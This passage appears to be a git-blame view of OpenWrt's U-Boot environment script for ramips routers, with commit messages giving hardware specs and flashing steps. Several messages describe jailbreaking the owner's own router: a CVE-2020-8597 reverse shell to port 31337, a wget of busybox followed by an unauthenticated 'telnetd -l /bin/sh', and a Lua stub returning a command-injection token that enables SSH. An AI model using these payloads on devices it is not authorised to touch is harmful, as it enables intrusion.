flash, the OEM firmware is still stored in the second partition thanks to the dual boot system. You can switch from OpenWrt to OEM firmware and vice-versa failing the boot 3 times in a row: 1) power on the router 2) wait 15 seconds 3) power off the router 4) repeat steps 1-2-3 twice more. 5) power on the router and you should be in the “other” firmware If you want to completely remove OpenWrt from your router, switch to the OEM firmware and then flash OEM firmware from the web interface as a normal update. This procedure will overwrite the OpenWrt partition. Footnotes --------- The Linksys EA7500-v2 has a dual boot system to avoid bricks. This system works using 2 pair of partitions: 1) "kernel" and "rootfs" 2) "alt_kernel" and "alt_rootfs". After 3 failed boot attempts, the bootloader tries to boot the other pair of partitions and so on. This system is managed by the bootloader, which writes a bootcount in the s_env partition, and if successfully booted, the system add a "zero-bootcount" after the previous value. A system update performed from OEM firmware, writes the firmware on the other pair of partitions and sets the bootloader to boot the new pair of partitions editing the “boot_part” variable in the bootloader vars. Effectively it's a quick and safe system to switch the selected boot partition. Another way to switch the boot partition is: 1) power on the router 2) wait 15 seconds 3) power off the router 4) repeat steps 1-2-3 twice more. 5) power on the router and you should be in the “other” firmware In this OpenWrt port, this dual boot system is partially working because the bootloader sets the right rootfs partition in the cmdline but unfortunately OpenWrt for ramips platform overwrites the cmdline so is not possible to detect the right rootfs partition. Because all of this, I preferred to simply use the first pair of partitions and set read-only the other pair. However this solution is not optimal because is not possible to know without opening the case which is the current booted partition. Let’s take for example a router booting the OEM firmware from the first pair of partitions. If we flash the OpenWrt image, it will be written on the second pair. In this situation the router will bootloop 3 times and then will automatically come back to the first pair of partitions containg the OEM firmware. In this situation, to flash OpenWrt correctly is necessary to switch the booting partition, flashing again the OEM firmware over itself. At this point the OEM firmware is on both pair of partitions but the current booted pair is the second one. Now, flashing the OpenWrt factory image will write the firmware on the first pair and then will boot correctly. If this limitation in the ramips platform about the cmdline will be fixed, the dual boot system can also be implemented in OpenWrt with almost no effort. Signed-off-by: Davide Fioravanti <pantanastyle@gmail.com> Co-Developed-by: Jackson Lim <jackcolentern@gmail.com> Signed-off-by: Jackson Lim <jackcolentern@gmail.com>
2020-05-11 23:27:50 +00:00
linksys,ea7500-v2|\
linksys,ea8100-v1|\
linksys,ea8100-v2|\
mts,wg430223)
ubootenv_add_uci_config "/dev/mtd1" "0x0" "0x1000" "0x20000"
;;
snr,snr-cpe-me1|\
snr,snr-cpe-me2-sfp|\
ramips: add support for SNR-CPE-W4N-MT router General specification: - SoC Type: MediaTek MT7620N (580MHz) - ROM: 8 MB SPI-NOR (W25Q64FV) - RAM: 64 MB DDR (M13S5121632A) - Switch: MediaTek MT7530 - Ethernet: 5 ports - 5×100MbE (WAN, LAN1-4) - Wireless 2.4 GHz: b/g/n - Buttons: 1 button (RESET) - Bootloader: U-Boot 1.1.3, MediaTek U-Boot: 5.0.0.5 - Power: 12 VDC, 1.0 A Flash by the native uploader in 2 stages: 1. Use the native uploader to flash an initramfs image. Choose openwrt-ramips-mt7620-snr_cpe-w4n-mt-initramfs-kernel.bin file by "Administration/Management/Firmware update/Choose File" in vendor's web interface (ip: 192.168.1.10, login: Admin, password: Admin). Wait ~160 seconds. 2. Flash a sysupgrade image via the initramfs image. Choose openwrt-ramips-mt7620-snr_cpe-w4n-mt-squashfs-sysupgrade.bin file by "System/Backup/Flash Firmware/Flash image..." in LuCI web interface (ip: 192.168.1.1, login: root, no password). Wait ~240 seconds. Flash by U-Boot TFTP method: 1. Configure your PC with IP 192.168.1.131 2. Set up TFTP server and put the openwrt-ramips-mt7620-snr_cpe-w4n-mt-squashfs-sysupgrade.bin image on your PC 3. Connect serial port (57600 8N1) and turn on the router. Then interrupt "U-Boot Boot Menu" by hitting 2 key (select "2: Load system code then write to Flash via TFTP."). Press Y key when show "Warning!! Erase Linux in Flash then burn new one. Are you sure? (Y/N)" Input device IP (192.168.1.1) ==:192.168.1.1 Input server IP (192.168.1.131) ==:192.168.1.131 Input Linux Kernel filename () ==: openwrt-ramips-mt7620-snr_cpe-w4n-mt-squashfs-sysupgrade.bin 3. Wait ~120 seconds to complete flashing Signed-off-by: Alexey Bartenev <41exey@proton.me>
2022-10-24 15:50:33 +00:00
snr,cpe-w4n-mt)
idx="$(find_mtd_index uboot-env)"
[ -n "$idx" ] && \
ubootenv_add_uci_config "/dev/mtd$idx" "0x0" "0x1000" "0x1000"
;;
ramips: add basic support for TP-Link EC330-G5u v1 This adds basic support for TP-Link EC330-G5u Ver:1.0 router (also known as TP-Link Archer C9ERT). Device specification -------------------- SoC Type: MediaTek MT7621AT RAM: 128 MiB, Nanya NT5CC64M16GP-DI Flash: 128 MiB NAND, ESMT F59L1G81MA-25T Wireless 2.4 GHz (MediaTek MT7615N): b/g/n, 4x4 Wireless 5 GHz (MediaTek MT7615N): a/n/ac, 4x4 Ethernet: 5xGbE (WAN, LAN1, LAN2, LAN3, LAN4) USB ports: 1xUSB3.0 Button: 4 (Led, WiFi On/Off, Reset, WPS) LEDs: 7 blue LEDs, 1 orange(amber) LED, 1 white(non-gpio) LED Power: 12 VDC, 2 A Connector type: Barrel Bootloader: First U-Boot (1.1.3), Main U-Boot (1.1.3). Additionally, original TP-Link firmware contains Image U-Boot (1.1.3). Serial console (UART) --------------------- V +-------+-------+-------+-------+ | +3.3V | GND | TX | RX | +---+---+-------+-------+-------+ | J2 | +--- Don't connect Installation ------------ 1. Rename OpenWrt initramfs image to test.bin and place it on tftp server with IP 192.168.0.5 2. Attach UART, switch on the router and interrupt the boot process by pressing 't' 3. Load and run OpenWrt initramfs image: tftpboot bootm 4. Once inside OpenWrt, switch to the first boot image: fw_setenv BootImage 0 5. Run 'sysupgrade -n' with the sysupgrade OpenWrt image Back to Stock ------------- 1. Run in the OpenWrt shell: fw_setenv BootImage 1 reboot Recovery -------- 1. Press Reset button and power on the router 2. Navigate to U-Boot recovery web server (http://192.168.0.1/) and upload the OEM firmware MAC addresses ------------- +---------+-------------------+-------------------+-------------+ | | MAC example 1 | MAC example 2 | Algorithm | +---------+-------------------+-------------------+-------------+ | label | 68:ff:7b:xx:xx:f4 | 50:d4:f7:xx:xx:da | label | | LAN | 68:ff:7b:xx:xx:f4 | 50:d4:f7:xx:xx:da | label | | WAN | 72:ff:7b:xx:xx:f5 | 54:d4:f7:xx:xx:db | label+1 [1] | | WLAN 2g | 68:ff:7b:xx:xx:f4 | 50:d4:f7:xx:xx:da | label | | WLAN 5g | 68:ff:7b:xx:xx:f6 | 50:d4:f7:xx:xx:dc | label+2 | +---------+-------------------+-------------------+-------------+ label MAC address was found in factory at 0x165 (text format xx:xx:xx:xx:xx:xx). Notes ----- [1] WAN MAC address: a. First octet of WAN MAC is differ than others and OUI is not related to TP-Link company. This probably should be fixed. b. Flipping bits in first octet and hex delta are different for the different MAC examples: +-----------------+----------------+----------------+ | | Example 1 | Example 2 | +-----------------+----------------+----------------+ | LAN | 68 = 0110 1000 | 50 = 0101 0000 | | MAC (1st octet) | ^ ^ ^ | | +-----------------+----------------+----------------+ | WAN | 72 = 0111 0010 | 54 = 0101 0100 | | MAC (1st octet) | ^ ^ ^ | ^ | +-----------------+----------------+----------------+ | HEX delta | 0xa | 0x4 | +-----------------+----------------+----------------+ | DEC delta | 4 | 4 | +-----------------+----------------+----------------+ c. DEC delta is a constant (4). This looks like a mistake in OEM firmware and probably should be fixed. Based on the above, I decided to keep correct OUI and make WAN MAC = label + 1. [2] Bootloaders The device contains 3 bootloaders: - First U-Boot: U-Boot 1.1.3 (Mar 18 2019 - 12:50:24). The First U-Boot located on NAND Flash to load next full-feature Uboot. - Main U-Boot + its backup: U-Boot 1.1.3 (Mar 18 2019 - 12:50:29). This bootloader includes recovery webserver. Requires special uImages to continue the boot process: 0x00 (os0, os1) - firmware uImage 0x40 (os0, os1) - standalone uImage (OpenWrt kernel is here) - Additionally, both slots of the original TP-Link firmware contains Image U-Boot: U-Boot 1.1.3 (Oct 16 2019 - 08:14:45). It checks image magics and CRCs. We don't use this U-Boot with OpenWrt. Signed-off-by: Mikhail Zhilkin <csharper2005@gmail.com>
2023-01-06 15:47:58 +00:00
tplink,ec330-g5u-v1)
idx="$(find_mtd_index u-boot-env)"
[ -n "$idx" ] && \
ubootenv_add_uci_config "/dev/mtd$idx" "0x0" "0x1000" "0x20000"
;;
xiaomi,mi-router-3g-v2|\
xiaomi,mi-router-4a-gigabit|\
xiaomi,miwifi-3c)
ubootenv_add_uci_config "/dev/mtd1" "0x0" "0x1000" "0x10000"
ubootenv_add_uci_sys_config "/dev/mtd2" "0x0" "0x4000" "0x10000"
;;
xiaomi,mi-router-3g|\
xiaomi,mi-router-3-pro|\
ramips: mt7621: add support for Xiaomi Mi Router 4 Xiaomi Mi Router 4 is the same as Xiaomi Mi Router 3G, except for the RAM (256Mib→128Mib), LEDs and gpio (MiNet button). Specifications: Power: 12 VDC, 1 A Connector type: barrel CPU1: MediaTek MT7621A (880 MHz, 4 cores) FLA1: 128 MiB (ESMT F59L1G81MA) RAM1: 128 MiB (ESMT M15T1G1664A) WI1 chip1: MediaTek MT7603EN WI1 802dot11 protocols: bgn WI1 MIMO config: 2x2:2 WI1 antenna connector: U.FL WI2 chip1: MediaTek MT7612EN WI2 802dot11 protocols: an+ac WI2 MIMO config: 2x2:2 WI2 antenna connector: U.FL ETH chip1: MediaTek MT7621A Switch: MediaTek MT7621A UART Serial [o] TX [o] GND [o] RX [ ] VCC - Do not connect it MAC addresses as verified by OEM firmware: use address source LAN *:c2 factory 0xe000 (label) WAN *:c3 factory 0xe006 2g *:c4 factory 0x0000 5g *:c5 factory 0x8000 Flashing instructions: 1.Create a simple http server (nginx etc) 2.set uart enable To enable writing to the console, you must reset to factory settings Then you see uboot boot, press the keyboard 4 button (enter uboot command line) If it is not successful, repeat the above operation of restoring the factory settings. After entering the uboot command line, type: setenv uart_en 1 saveenv boot 3.use shell in uart cd /tmp wget http://"your_computer_ip:80"/openwrt-ramips-mt7621-xiaomi_mir4-squashfs-kernel1.bin wget http://"your_computer_ip:80"/openwrt-ramips-mt7621-xiaomi_mir4-squashfs-rootfs0.bin mtd write openwrt-ramips-mt7621-xiaomi_mir4-squashfs-kernel1.bin kernel1 mtd write openwrt-ramips-mt7621-xiaomi_mir4-squashfs-rootfs0.bin rootfs0 nvram set flag_try_sys1_failed=1 nvram commit reboot 4.login to the router http://192.168.1.1/ Installation via Software exploit Find the instructions in the https://github.com/acecilia/OpenWRTInvasion Signed-off-by: Dmytro Oz <sequentiality@gmail.com> [commit message facelift, rebase onto shared DTSI/common device definition, bump uboot-envtools] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2020-12-14 19:07:32 +00:00
xiaomi,mi-router-4|\
ramips: Add support for Xiaomi Mi Router(Black,R2100) The Xiaomi Mi Router AC2100 is a *black* cylindrical router that shares many characteristics (apart from its looks and the GPIO ports) with the 6-antenna *white* "Xiaomi Redmi Router AC2100" See the visual comparison of the two routers here: https://github.com/emirefek/openwrt-R2100/raw/imgcdn/rm2100-r2100.jpg Specification of R2100: - CPU: MediaTek MT7621A - RAM: 128 MB DDR3 - FLASH: 128 MB ESMT NAND - WIFI: 2x2 802.11bgn (MT7603) - WIFI: 4x4 802.11ac (MT7615) - ETH: 3xLAN+1xWAN 1000base-T - LED: Power, WAN in Yellow and Blue - UART: On board (Don't know where is should be confirmed by anybody else) - Modified u-boot Hacking of official firmware process is same at both RM2100 and R2100. Thanks to @namidairo Here is the detailed guide Hack: https://github.com/impulse/ac2100-openwrt-guide Guide is written for MacOS but it will work at linux. needed packages: python3(with scapy), netcat, http server, telnet client 1. Run PPPoE&exploit to get nc and wget busybox, get telnet and wget firmware 2. mtd write openwrt-ramips-mt7621-xiaomi_mi-router-ac2100-kernel1.bin kernel1 3. nvram set uart_en=1 4. nvram set bootdelay=5 5. nvram set flag_try_sys1_failed=1 6. nvram commit 7. mtd -r write openwrt-ramips-mt7621-xiaomi_mi-router-ac2100-rootfs0.bin rootfs0 other than these I specified in here. Everything is same with: https://github.com/openwrt/openwrt/commit/f3792690c4f0567a8965d82898295b9d50c3bb7e Thanks for all community and especially for this device: @Ilyas @scp07 @namidairo @Percy @thorsten97 @impulse (names@forum.openwrt.com) MAC Locations: WAN *:b5 = factory 0xe006 LAN *:b6 = factory 0xe000 WIFI 5ghz *:b8 = factory 0x8004 WIFI 2.4ghz *:b7 = factory 0x0004 Signed-off-by: Emir Efe Kucuk <emirefek@gmail.com> [refactored common image bits into Device/xiaomi-ac2100, fixed From:] Signed-off-by: Petr Štetiar <ynezz@true.cz>
2020-05-30 09:18:50 +00:00
xiaomi,mi-router-ac2100|\
ramips: Add support for Xiaomi Redmi Router AC2100 (RM2100) Specification: - CPU: MediaTek MT7621A - RAM: 128 MB DDR3 - FLASH: 128 MB ESMT NAND - WIFI: 2x2 802.11bgn (MT7603) - WIFI: 4x4 802.11ac (MT7615) - ETH: 3xLAN+1xWAN 1000base-T - LED: Power, WAN, in Amber and White - UART: On board near ethernet, opposite side from power - Modified u-boot Installation: 1. Run linked exploit to get shell, startup telnet and wget the files over 2. mtd write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-kernel1.bin kernel1 3. nvram set uart_en=1 4. nvram set bootdelay=5 5. nvram set flag_try_sys1_failed=1 6. nvram commit 7. mtd -r write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-rootfs0.bin rootfs0 Restore to stock: 1. Setup PXE and TFTP server serving stock firmware image (See dhcp-boot option of dnsmasq) 2. Hold reset button down before powering on and wait for flashing amber led 3. Release reset button 4. Wait until status led changes from flashing amber to white Notes: This device has dual kernel and rootfs slots like other Xiaomi devices currently supported (mir3g, etc.) thus, we use the second slot and overwrite the first rootfs onwards in order to get more space. Exploit and detailed instructions: https://openwrt.org/toh/xiaomi/xiaomi_redmi_router_ac2100 An implementation of CVE-2020-8597 against stock firmware version 1.0.14 This requires a computer with ethernet plugged into the wan port and an active PPPoE session, and if successful will open a reverse shell to 192.168.31.177 on port 31337. As this shell is somewhat unreliable and likely to be killed in a random amount of time, it is recommended to wget a static compiled busybox binary onto the device and start telnetd with it. The stock telnetd and dropbear unfortunately appear inoperable. (Disabled on release versions of stock firmware likely) Ie. wget https://yourip/busybox-mipsel -O /tmp/busybox chmod a+x /tmp/busybox /tmp/busybox telnetd -l /bin/sh Tested-by: David Martinez <bonkilla@gmail.com> Signed-off-by: Richard Huynh <voxlympha@gmail.com>
2020-04-23 02:50:21 +00:00
xiaomi,redmi-router-ac2100)
ramips: improve Xiaomi Mi Router 3G support This commit improves support for the Xiaomi Mi Router 3G originally added in commit 6e283cdc0da25928f8148805ebef7f8f2b769ee8 Improvements: - Remove software watchdog as hardware watchdog now working as per commit 3fbf3ab44f5cebb22e30a4c8681b13341feed6a6 for all mt7621 devices. - Reset button polarity corrected - length of press determines reboot (short press) vs. reset to defaults (long press) behaviour. - Enable GPIO amber switch port LEDs on board rear - lit indicates 1Gbit link and blink on activity. Green LEDs driven directly by switch indicating any link speed and tx activity. - USB port power on/off GPIO exposed as 'usbpower' - Add access to uboot environment settings for checking/setting uboot boot order preference from user space. Changes: - Front LED indicator is physically made of independent Yellow/Amber, Red & Blue LEDs combined via a plastic 'lightpipe' to a front panel indicator, hence the colour behaviour is similar to an RGB LED. RGB LEDs are not supported at this time because they produce colour results that do not then match colour labels, e.g. enabling 'mir3g:red' and 'mir3g:blue' would result in a purple indicator and we have no such label for purple. The yellow, red & blue LEDs have been split out as individual yellow, red & blue status LEDs, with yellow being the default status LED as before and with red's WAN and blue's USB default associations removed. - Swapped order of vlan interfaces (eth0.1 & eth0.2) to match stock vlan layout. eth0.1 is LAN, eth0.2 is WAN - Add 'lwlll' vlan layout to mt7530 switch driver to prevent packet leakage between kernel switch init and uci swconfig uboot behaviour & system 'recovery' uboot expects to find bootable kernels at nand addresses 0x200000 & 0x600000 known by uboot as "system 1" and "system 2" respectively. uboot chooses which system to hand control to based on 3 environment variables: flag_last_success, flag_try_sys1_failed & flag_try_sys2_failed last_success represents a preference for a particular system and is set to 0 for system 1, set to 1 for system 2. last_success is considered *if* and only if both try_sys'n'_failed flags are 0 (ie. unset) If *either* failed flags are set then uboot will attempt to hand control to the non failed system. If both failed flags are set then uboot will check the uImage CRC of system 1 and hand control to it if ok. If the uImage CRC of system is not ok, uboot will hand control to system 2 irrespective of system 2's uImage CRC. NOTE: uboot only ever sets failed flags, it *never* clears them. uboot sets a system's failed flag if that system's was selected for boot but the uImage CRC is incorrect. Fortunately with serial console access, uboot provides the ability to boot an initramfs image transferred via tftp, similarly an image may be flashed to nand however it will flash to *both* kernels so a backup of stock kernel image is suggested. Note that the suggested install procedure below set's system 1's failed flag (stock) thus uboot ignores the last_success preference and boots LEDE located in system 2. Considerable thought has gone into whether LEDE should replace both kernels, only one (and which one) etc. LEDE kernels do not include a minimal rootfs and thus unlike the stock kernel cannot include a method of controlling uboot environment variables in the event of rootfs mount failure. Similarly uboot fails to provide an external mechanism for indicating boot system failure. Installation - from stock. Installation through telnet/ssh: - copy lede-ramips-mt7621-mir3g-squashfs-kernel1.bin and lede-ramips-mt7621-mir3g-squashfs-rootfs0.bin to usb disk or wget it from LEDE download site to /tmp - switch to /extdisks/sda1/ (if copied to USB drive) or to /tmp if wgetted from LEDE download site - run: mtd write lede-ramips-mt7621-mir3g-squashfs-kernel1.bin kernel1 - run: mtd write lede-ramips-mt7621-mir3g-squashfs-rootfs0.bin rootfs0 - run: nvram set flag_try_sys1_failed=1 - run: nvram commit - run: reboot Recovery - to stock. Assuming you used the above installation instructions you will have a stock kernel image in system 1. If it can be booted then it may be used to perform a stock firmware recovery, thus erasing LEDE completely. From a 'working' LEDE state (even failsafe) Failsafe only: - run: mount_root - run: sh /etc/uci-defaults/30_uboot-envtools Then do the steps for 'All' All: - run: fw_setenv flag_try_sys2_failed 1 - run: reboot The board will reboot into system 1 (stock basic kernel) and wait with system red light slowly blinking for a FAT formatted usb stick with a recovery image to be inserted. Press and hold the reset button for around 1 second. Status LED will turn yellow during recovery and blue when recovery complete. Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
2017-09-25 19:41:13 +00:00
ubootenv_add_uci_config "/dev/mtd1" "0x0" "0x1000" "0x20000"
ubootenv_add_uci_sys_config "/dev/mtd2" "0x0" "0x4000" "0x20000"
ramips: improve Xiaomi Mi Router 3G support This commit improves support for the Xiaomi Mi Router 3G originally added in commit 6e283cdc0da25928f8148805ebef7f8f2b769ee8 Improvements: - Remove software watchdog as hardware watchdog now working as per commit 3fbf3ab44f5cebb22e30a4c8681b13341feed6a6 for all mt7621 devices. - Reset button polarity corrected - length of press determines reboot (short press) vs. reset to defaults (long press) behaviour. - Enable GPIO amber switch port LEDs on board rear - lit indicates 1Gbit link and blink on activity. Green LEDs driven directly by switch indicating any link speed and tx activity. - USB port power on/off GPIO exposed as 'usbpower' - Add access to uboot environment settings for checking/setting uboot boot order preference from user space. Changes: - Front LED indicator is physically made of independent Yellow/Amber, Red & Blue LEDs combined via a plastic 'lightpipe' to a front panel indicator, hence the colour behaviour is similar to an RGB LED. RGB LEDs are not supported at this time because they produce colour results that do not then match colour labels, e.g. enabling 'mir3g:red' and 'mir3g:blue' would result in a purple indicator and we have no such label for purple. The yellow, red & blue LEDs have been split out as individual yellow, red & blue status LEDs, with yellow being the default status LED as before and with red's WAN and blue's USB default associations removed. - Swapped order of vlan interfaces (eth0.1 & eth0.2) to match stock vlan layout. eth0.1 is LAN, eth0.2 is WAN - Add 'lwlll' vlan layout to mt7530 switch driver to prevent packet leakage between kernel switch init and uci swconfig uboot behaviour & system 'recovery' uboot expects to find bootable kernels at nand addresses 0x200000 & 0x600000 known by uboot as "system 1" and "system 2" respectively. uboot chooses which system to hand control to based on 3 environment variables: flag_last_success, flag_try_sys1_failed & flag_try_sys2_failed last_success represents a preference for a particular system and is set to 0 for system 1, set to 1 for system 2. last_success is considered *if* and only if both try_sys'n'_failed flags are 0 (ie. unset) If *either* failed flags are set then uboot will attempt to hand control to the non failed system. If both failed flags are set then uboot will check the uImage CRC of system 1 and hand control to it if ok. If the uImage CRC of system is not ok, uboot will hand control to system 2 irrespective of system 2's uImage CRC. NOTE: uboot only ever sets failed flags, it *never* clears them. uboot sets a system's failed flag if that system's was selected for boot but the uImage CRC is incorrect. Fortunately with serial console access, uboot provides the ability to boot an initramfs image transferred via tftp, similarly an image may be flashed to nand however it will flash to *both* kernels so a backup of stock kernel image is suggested. Note that the suggested install procedure below set's system 1's failed flag (stock) thus uboot ignores the last_success preference and boots LEDE located in system 2. Considerable thought has gone into whether LEDE should replace both kernels, only one (and which one) etc. LEDE kernels do not include a minimal rootfs and thus unlike the stock kernel cannot include a method of controlling uboot environment variables in the event of rootfs mount failure. Similarly uboot fails to provide an external mechanism for indicating boot system failure. Installation - from stock. Installation through telnet/ssh: - copy lede-ramips-mt7621-mir3g-squashfs-kernel1.bin and lede-ramips-mt7621-mir3g-squashfs-rootfs0.bin to usb disk or wget it from LEDE download site to /tmp - switch to /extdisks/sda1/ (if copied to USB drive) or to /tmp if wgetted from LEDE download site - run: mtd write lede-ramips-mt7621-mir3g-squashfs-kernel1.bin kernel1 - run: mtd write lede-ramips-mt7621-mir3g-squashfs-rootfs0.bin rootfs0 - run: nvram set flag_try_sys1_failed=1 - run: nvram commit - run: reboot Recovery - to stock. Assuming you used the above installation instructions you will have a stock kernel image in system 1. If it can be booted then it may be used to perform a stock firmware recovery, thus erasing LEDE completely. From a 'working' LEDE state (even failsafe) Failsafe only: - run: mount_root - run: sh /etc/uci-defaults/30_uboot-envtools Then do the steps for 'All' All: - run: fw_setenv flag_try_sys2_failed 1 - run: reboot The board will reboot into system 1 (stock basic kernel) and wait with system red light slowly blinking for a FAT formatted usb stick with a recovery image to be inserted. Press and hold the reset button for around 1 second. Status LED will turn yellow during recovery and blue when recovery complete. Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
2017-09-25 19:41:13 +00:00
;;
zyxel,lte3301-plus)
ubootenv_add_uci_config "/dev/mtd1" "0x0" "0x1000" "0x80000"
;;
ramips: mt7621: Add support for ZyXEL NR7101 The ZyXEL NR7101 is an 802.3at PoE powered 5G outdoor (IP68) CPE with integrated directional 5G/LTE antennas. Specifications: - SoC: MediaTek MT7621AT - RAM: 256 MB - Flash: 128 MB MB NAND (MX30LF1G18AC) - WiFi: MediaTek MT7603E - Switch: 1 LAN port (Gigabiti) - 5G/LTE: Quectel RG502Q-EA connected by USB3 to SoC - SIM: 2 micro-SIM slots under transparent cover - Buttons: Reset, WLAN under same cover - LEDs: Multicolour green/red/yellow under same cover (visible) - Power: 802.3at PoE via LAN port The device is built as an outdoor ethernet to 5G/LTE bridge or router. The Wifi interface is intended for installation and/or temporary management purposes only. UART Serial: 57600N1 Located on populated 5 pin header J5: [o] GND [ ] key - no pin [o] RX [o] TX [o] 3.3V Vcc Remove the SIM/button/LED cover, the WLAN button and 12 screws holding the back plate and antenna cover together. The GPS antenna is fixed to the cover, so be careful with the cable. Remove 4 screws fixing the antenna board to the main board, again being careful with the cables. A bluetooth TTL adapter is recommended for permanent console access, to keep the router water and dustproof. The 3.3V pin is able to power such an adapter. MAC addresses: OpenWrt OEM Address Found as lan eth2 08:26:97:*:*:BC Factory 0xe000 (hex), label wlan0 ra0 08:26:97:*:*:BD Factory 0x4 (hex) wwan0 usb0 random WARNING!! ISP managed firmware might at any time update itself to a version where all known workarounds have been disabled. Never boot an ISP managed firmware with a SIM in any of the slots if you intend to use the router with OpenWrt. The bootloader lock can only be disabled with root access to running firmware. The flash chip is physically inaccessible without soldering. Installation from OEM web GUI: - Log in as "supervisor" on https://172.17.1.1/ - Upload OpenWrt initramfs-recovery.bin image on the Maintenance -> Firmware page - Wait for OpenWrt to boot and ssh to root@192.168.1.1 - (optional) Copy OpenWrt to the recovery partition. See below - Sysupgrade to the OpenWrt sysupgrade image and reboot Installation from OEM ssh: - Log in as "root" on 172.17.1.1 port 22022 - scp OpenWrt initramfs-recovery.bin image to 172.17.1.1:/tmp - Prepare bootloader config by running: nvram setro uboot DebugFlag 0x1 nvram setro uboot CheckBypass 0 nvram commit - Run "mtd_write -w write initramfs-recovery.bin Kernel" and reboot - Wait for OpenWrt to boot and ssh to root@192.168.1.1 - (optional) Copy OpenWrt to the recovery partition. See below - Sysupgrade to the OpenWrt sysupgrade image and reboot Copying OpenWrt to the recovery partition: - Verify that you are running a working OpenWrt recovery image from flash - ssh to root@192.168.1.1 and run: fw_setenv CheckBypass 0 mtd -r erase Kernel2 - Wait while the bootloader mirrors Image1 to Image2 NOTE: This should only be done after successfully booting the OpenWrt recovery image from the primary partition during installation. Do not do this after having sysupgraded OpenWrt! Reinstalling the recovery image on normal upgrades is not required or recommended. Installation from Z-Loader: - Halt boot by pressing Escape on console - Set up a tftp server to serve the OpenWrt initramfs-recovery.bin image at 10.10.10.3 - Type "ATNR 1,initramfs-recovery.bin" at the "ZLB>" prompt - Wait for OpenWrt to boot and ssh to root@192.168.1.1 - Sysupgrade to the OpenWrt sysupgrade image NOTE: ATNR will write the recovery image to both primary and recovery partitions in one go. Booting from RAM: - Halt boot by pressing Escape on console - Type "ATGU" at the "ZLB>" prompt to enter the U-Boot menu - Press "4" to select "4: Entr boot command line interface." - Set up a tftp server to serve the OpenWrt initramfs-recovery.bin image at 10.10.10.3 - Load it using "tftpboot 0x88000000 initramfs-recovery.bin" - Boot with "bootm 0x8800017C" to skip the 380 (0x17C) bytes ZyXEL header This method can also be used to RAM boot OEM firmware. The warning regarding OEM applies! Never boot an unknown OEM firmware, or any OEM firmware with a SIM in any slot. NOTE: U-Boot configuration is incomplete (on some devices?). You may have to configure a working mac address before running tftp using "setenv eth0addr <mac>" Unlocking the bootloader: If you are unebale to halt boot, then the bootloader is locked. The OEM firmware locks the bootloader on every boot by setting DebugFlag to 0. Setting it to 1 is therefore only temporary when OEM firmware is installed. - Run "nvram setro uboot DebugFlag 0x1; nvram commit" in OEM firmware - Run "fw_setenv DebugFlag 0x1" in OpenWrt NOTE: OpenWrt does this automatically on first boot if necessary NOTE2: Setting the flag to 0x1 avoids the reset to 0 in known OEM versions, but this might change. WARNING: Writing anything to flash while the bootloader is locked is considered extremely risky. Errors might cause a permanent brick! Enabling management access from LAN: Temporary workaround to allow installing OpenWrt if OEM firmware has disabled LAN management: - Connect to console - Log in as "root" - Run "iptables -I INPUT -i br0 -j ACCEPT" Notes on the OEM/bootloader dual partition scheme The dual partition scheme on this device uses Image2 as a recovery image only. The device will always boot from Image1, but the bootloader might copy Image2 to Image1 under specific conditions. This scheme prevents repurposing of the space occupied by Image2 in any useful way. Validation of primary and recovery images is controlled by the variables CheckBypass, Image1Stable, and Image1Try. The bootloader sets CheckBypass to 0 and reboots if Image1 fails validation. If CheckBypass is 0 and Image1 is invalid then Image2 is copied to Image1. If CheckBypass is 0 and Image2 is invalid, then Image1 is copied to Image2. If CheckBypass is 1 then all tests are skipped and Image1 is booted unconditionally. CheckBypass is set to 1 after each successful validation of Image1. Image1Try is incremented if Image1Stable is 0, and Image2 is copied to Image1 if Image1Try is 3 or larger. But the bootloader only tests Image1Try if CheckBypass is 0, which is impossible unless the booted image sets it to 0 before failing. The system is therefore not resilient against runtime errors like failure to mount the rootfs, unless the kernel image sets CheckBypass to 0 before failing. This is not yet implemented in OpenWrt. Setting Image1Stable to 1 prevents the bootloader from updating Image1Try on every boot, saving unnecessary writes to the environment partition. Keeping an OpenWrt initramfs recovery as Image2 is recommended primarily to avoid unwanted OEM firmware boots on failure. Ref the warning above. It enables console-less recovery in case of some failures to boot from Image1. Signed-off-by: Bjørn Mork <bjorn@mork.no>
2021-04-19 11:00:56 +00:00
zyxel,nr7101)
idx="$(find_mtd_index Config)"
[ -n "$idx" ] && \
ubootenv_add_uci_config "/dev/mtd$idx" "0x0" "0x1000" "0x80000"
;;
bolt,arion|\
ramips: add support for Xiaomi Mi Router CR660x series Xiaomi Mi Router CR6606 is a Wi-Fi6 AX1800 Router with 4 GbE Ports. Alongside the general model, it has three carrier customized models: CR6606 (China Unicom), CR6608 (China Mobile), CR6609 (China Telecom) Specifications: - SoC: MediaTek MT7621AT - RAM: 256MB DDR3 (ESMT M15T2G16128A) - Flash: 128MB NAND (ESMT F59L1G81MB) - Ethernet: 1000Base-T x4 (MT7530 SoC) - WLAN: 2x2 2.4GHz 574Mbps + 2x2 5GHz 1201Mbps (MT7905DAN + MT7975DN) - LEDs: System (Blue, Yellow), Internet (Blue, Yellow) - Buttons: Reset, WPS - UART: through-hole on PCB ([VCC 3.3v](RX)(GND)(TX) 115200, 8n1) - Power: 12VDC, 1A Jailbreak Notes: 1. Get shell access. 1.1. Get yourself a wireless router that runs OpenWrt already. 1.2. On the OpenWrt router: 1.2.1. Access its console. 1.2.2. Create and edit /usr/lib/lua/luci/controller/admin/xqsystem.lua with the following code (exclude backquotes and line no.): ``` 1 module("luci.controller.admin.xqsystem", package.seeall) 2 3 function index() 4 local page = node("api") 5 page.target = firstchild() 6 page.title = ("") 7 page.order = 100 8 page.index = true 9 page = node("api","xqsystem") 10 page.target = firstchild() 11 page.title = ("") 12 page.order = 100 13 page.index = true 14 entry({"api", "xqsystem", "token"}, call("getToken"), (""), 103, 0x08) 15 end 16 17 local LuciHttp = require("luci.http") 18 19 function getToken() 20 local result = {} 21 result["code"] = 0 22 result["token"] = "; nvram set ssh_en=1; nvram commit; sed -i 's/channel=.*/channel=\"debug\"/g' /etc/init.d/dropbear; /etc/init.d/drop bear start;" 23 LuciHttp.write_json(result) 24 end ``` 1.2.3. Browse http://{OWRT_ADDR}/cgi-bin/luci/api/xqsystem/token It should give you a respond like this: {"code":0,"token":"; nvram set ssh_en=1; nvram commit; ..."} If so, continue; Otherwise, check the file, reboot the rout- er, try again. 1.2.4. Set 